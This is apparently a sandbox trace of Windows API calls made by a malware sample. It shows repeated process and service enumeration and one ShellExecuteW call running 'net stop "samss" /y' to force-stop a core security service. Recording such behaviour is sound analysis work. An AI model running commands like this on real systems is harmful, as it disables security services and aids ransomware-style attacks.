	[0192.743] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0192.746] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0192.749] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0192.752] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0192.755] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0192.758] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0192.761] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0192.764] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0192.767] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0192.991] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0192.994] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0192.997] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x167c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0193.000] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0193.004] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x168c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0193.007] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0193.010] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x169c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0193.013] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0193.015] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0193.019] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0193.022] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x172c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0193.024] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x172c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0193.522] CloseHandle (hObject=0x280) returned 1
	[0193.523] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29be30
	[0193.523] EnumServicesStatusW (in: hSCManager=0x29be30, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610 | out: lpServices=0x0, pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610) returned 0
	[0193.524] VirtualAlloc (lpAddress=0x0, dwSize=0x169d, flAllocationType=0x1000, flProtect=0x40) returned 0x8b00000
	[0193.526] EnumServicesStatusW (in: hSCManager=0x29be30, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8b00000, cbBufSize=0x169d, pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610 | out: lpServices=0x8b00000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2f8f8a8, lpServicesReturned=0x2f8f8a0, lpResumeHandle=0x2f8f610) returned 1
	[0193.528] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0195.569] Sleep (dwMilliseconds=0x96) 
	[0196.345] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.349] Sleep (dwMilliseconds=0xc350) 
	[0206.648] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x564
	[0206.894] Process32FirstW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0206.897] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0206.900] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0206.903] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0206.906] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0206.908] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0206.912] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0206.915] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0206.917] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0207.042] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0207.045] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.048] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.051] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.055] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.058] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.061] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.064] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.067] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0207.070] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0207.073] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0207.363] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0207.366] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.369] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0207.373] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.376] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0207.379] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0207.383] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0207.386] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0207.389] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0207.392] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0207.396] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0207.399] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0207.776] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0207.779] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0207.783] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0207.786] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0207.789] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0207.793] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0207.796] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0207.798] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0207.801] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0207.804] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0208.229] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0208.232] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0208.235] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0208.238] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0208.241] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0208.244] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0208.248] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0208.251] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0208.254] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0208.257] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0208.260] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0208.263] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0208.266] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0208.270] Process32NextW (in: hSnapshot=0x564, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
